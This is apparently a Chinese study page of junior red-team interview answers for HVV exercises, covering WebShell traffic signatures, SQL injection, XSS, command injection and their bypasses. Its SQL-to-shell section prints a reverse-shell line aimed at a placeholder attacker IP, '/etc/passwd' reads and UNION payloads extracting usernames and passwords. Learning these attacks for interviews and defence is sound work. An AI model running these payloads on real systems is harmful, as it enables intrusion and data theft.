护网&HVV面试题
【汇总】HVV面试题
各种攻击工具/漏洞流量特征
面试怎么做自我介绍?
如何排查JAVA内存马
如何判断被搭建了什么隧道
如何识别web网站是否使用了Spring Boot框架
CSRF、SSRF和重放攻击有什么区别?
蜜罐的识别
护网日薪过千是骗局吗?
怎么判断一个web网站使用了struts
关于分析研判的一些问题回答(仅供参考)
hvv面试题1
hvv面试题2
hvv面试题3
参加护网的要求
初级红队面试题
本文档使用 MrDoc 发布
-
+
首页
初级红队面试题
### 1. **蚁剑、冰蝎、菜刀的 WebShell 流量特征** - **蚁剑(AntSword)**: - 基于 HTTP 协议进行通讯,通常采用 POST 请求上传或执行命令。 - 默认的请求头中可能带有特殊的 `User-Agent` 或自定义的 `X-Forwarded-For` 等字段。 - 数据包可能包含加密或 Base64 编码的命令和数据,流量中有时会出现类似于 `cmd`、`system` 等字段,显示命令注入操作。 - **冰蝎(IceShell)**: - 利用 HTTP 协议进行通讯,且常常以 POST 请求提交数据。 - 它可能使用特殊的 `Referer` 和 `User-Agent` 来隐藏其访问来源。 - 流量中常包含敏感指令或含有特殊编码的命令。 - **菜刀(CaiDao)**: - 采用 HTTP POST 请求与目标 Web 服务器进行交互,常常包含 Base64 编码的 shell 命令。 - 流量特征通常包括请求头中的自定义字段,以及以特定方式编码的命令。 - 在与 Web 服务器的交互中,常见的路径如 `cmd.php` 或 `admin.php`。 ### 2. **SQL 注入的原理、类型及绕过方式** - **原理**: - SQL 注入(SQLi)是指攻击者通过输入恶意 SQL 查询来操控后台数据库,通常是通过输入框(如登录框、搜索框)实现。 - **类型**: 1. **经典 SQL 注入**:直接将 SQL 语句嵌入输入框中。 2. **盲注**:通过判断返回的响应来推测数据库内容(如布尔盲注、时间盲注)。 3. **联合查询注入**:通过 UNION SELECT 将查询结果与其他表数据合并。 4. **错误基注入**:利用 SQL 错误信息进行注入。 5. **其他注入** : 堆叠注入,二次注入等...... - **绕过方式**: 1. **编码绕过**:使用 URL 编码、Unicode 编码等对输入进行编码。 2. **注释绕过**:利用 SQL 注释符号 `--` 或 `/* */` 隔离恶意 SQL 语句。 3. **大小写绕过**:修改 SQL 关键字的大小写,绕过简单的过滤机制。 4. **延迟注入**:通过延迟查询(如 `SLEEP()` 函数)实现盲注。 ### 3. **XSS 注入的原理、类型及绕过方式** - **原理**: - 跨站脚本攻击(XSS)是指攻击者在 Web 页面中注入恶意脚本,利用浏览器的漏洞执行恶意操作,如窃取用户信息、劫持会话等。 - **类型**: 1. **存储型 XSS**:恶意脚本被存储在服务器端,当用户访问时执行。 2. **反射型 XSS**:恶意脚本在 URL 中传递,当访问该 URL 时执行。 3. **DOM 型 XSS**:通过修改 DOM 结构,导致恶意脚本在客户端执行。 - **绕过方式**: 1. **编码绕过**:使用 `&#x` 编码等对 HTML 或 JavaScript 进行编码,绕过过滤。 2. **混淆绕过**:使用复杂的 JavaScript 语法和函数混淆来规避 WAF 的检测。 3. **双重编码绕过**:对注入脚本进行二次编码。 ### 4. **命令注入的原理、类型及绕过方式** - **原理**: - 命令注入是攻击者通过输入恶意操作系统命令来执行不当操作,通常发生在 Web 应用直接调用系统命令的情况下。 - **类型**: 1. **基础命令注入**:通过输入恶意命令,如 `; ls -al` 来执行系统命令。 2. **链式命令注入**:通过链接多个命令,绕过简单的过滤机制。 3. **反弹 Shell**:通过命令注入执行反弹 shell,使攻击者获得远程访问。 - **绕过方式**: 1. **编码绕过**:对输入进行 URL 编码或 Base64 编码来绕过过滤。 2. **空格绕过**:使用注入命令的空格替代符(如 `%20`)绕过命令解析。 3. **管道符号绕过**:通过管道符号 `|` 或分号 `;` 注入多个命令。 ### 5. **如何通过SQL注入获取Shell** 通过SQL注入获取Shell的步骤通常包括以下几个阶段: #### **前置条件** - **文件操作权限**:MySQL的 `LOAD_FILE()` 和 `SELECT INTO OUTFILE` 允许读取和写入文件,因此攻击者需要目标系统中MySQL有足够的权限来写入文件。通常,MySQL用户需要对目标目录有写权限。`SELECT INTO OUTFILE` 通常需要文件写入权限。 - **文件存放位置**:攻击者通常会选择将木马文件写入Web服务器可访问的目录(如 `/var/www/html`),这使得文件能够通过HTTP访问。必须确保MySQL实例具有对该目录的写入权限。 - **执行木马的路径**:MySQL本身不能直接执行外部文件,因此攻击者通常需要依赖Web服务器(如Apache)来提供木马执行环境。常见的方式是通过 `SELECT INTO OUTFILE` 写入木马,然后通过浏览器访问该文件执行。 #### **(1)信息收集** - 获取数据库版本信息、表结构、列名等。可以通过联合查询或错误信息获取这些信息。 #### **(2)根据收集到的信息写入木马或者读取文件** - 利用数据库的功能,攻击者可以执行操作系统级的命令: - **MySQL:** 可以通过 `SELECT load_file('/etc/passwd')` 获取系统文件内容。 #### **(3)利用特定函数** - 攻击者可以通过构造特定的SQL函数,利用数据库的网络功能来建立反向Shell连接。例如: - **MySQL**:使用 `SELECT sys_exec('bash -i >& /dev/tcp/attacker_ip/port 0>&1')` 执行反向Shell命令。 ### 6. **MySQL常见函数** #### **常见函数:** - **`SLEEP(seconds)`** - **用途**:用于延迟响应,常用于时间盲注。 - **例子**:`1' AND SLEEP(5) --` 这将导致查询延迟5秒,攻击者可以通过响应延迟来判断查询是否成功。 - **`LOAD_FILE(file_path)`** - **用途**:用于读取文件内容,攻击者可以读取服务器上的文件。 - **例子**:`1' UNION SELECT LOAD_FILE('/etc/passwd') --` 读取服务器上的 `/etc/passwd` 文件,攻击者可以获得系统信息。 - **`INFORMATION_SCHEMA`** - **用途**:`INFORMATION_SCHEMA` 是一个系统数据库,提供了关于其他数据库、表、列的信息。攻击者可以通过查询该数据库来获取数据库结构。 - **例子**:`1' UNION SELECT table_name, column_name FROM information_schema.columns --` 查询所有表和列的名称。 - **`CONCAT(str1, str2, ...)`** - **用途**:用于拼接字符串,常用于联合查询注入。 - **例子**:`1' UNION SELECT CONCAT(username, ':', password) FROM users --` 用于拼接用户名和密码。 - **`GROUP_CONCAT()`** - **用途**:将多个结果合并为一个字符串,常用于合并多行数据。 - **例子**:`1' UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns --` 将列名拼接成一行返回。 - **`sys_exec()`(在某些版本的MySQL中可能支持)** - **用途**:用于执行系统命令,可能需要管理员权限。 - **例子**:`1' UNION SELECT sys_exec('ls /') --` 执行系统命令。 ### 7. **XSS、CSRF、SSRF的区别和原理** #### **1. 漏洞原理:** - **XSS**:通过注入恶意脚本,执行在用户的浏览器中,利用的是浏览器对不信任代码的执行。 - **CSRF**:通过伪造请求来欺骗服务器,利用的是浏览器自动附带的身份凭证(如 Cookie)。 - **SSRF**:通过伪造请求来诱使服务器访问本应受到保护的资源,利用的是服务器对外部请求的处理能力。 #### **2. 利用方式:** - **XSS**:注入 JavaScript 代码,执行恶意操作或窃取用户信息。 - **CSRF**:伪造用户请求,执行未授权操作。 - **SSRF**:伪造请求,访问内部或受限的资源,可能导致信息泄露或内部网络攻击。 #### **3. 利用场景:** - **XSS**:社交平台、论坛、在线商店、广告系统等场景,攻击者通过注入恶意脚本窃取用户信息。 - **CSRF**:银行、支付平台、社交平台等,攻击者伪造请求让用户执行敏感操作(如资金转移、修改资料等)。 - **SSRF**:云平台、Web应用服务器、第三方接口等,攻击者利用服务器发起请求访问内部系统,窃取数据或执行内网攻击。 ------ ### **简短对比表:** | 特性 | XSS | CSRF | SSRF | | ------------ | -------------------------- | ---------------------------------- | -------------------------------- | | **攻击对象** | 用户浏览器 | 用户身份凭证(如 Cookie) | 服务器(内部网络) | | **攻击方式** | 注入并执行恶意脚本 | 伪造请求,利用用户身份执行操作 | 伪造请求,诱使服务器访问内部资源 | | **目标** | 窃取用户信息、执行操作 | 执行未授权操作(如转账、修改资料) | 访问内部系统、服务或执行内网攻击 | | **典型场景** | 社交平台、论坛、广告系统等 | 在线银行、支付平台、社交平台 | 云平台、Web服务器、第三方接口等 |
长风
2025年3月27日 15:49
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
分享
链接
类型
密码
更新密码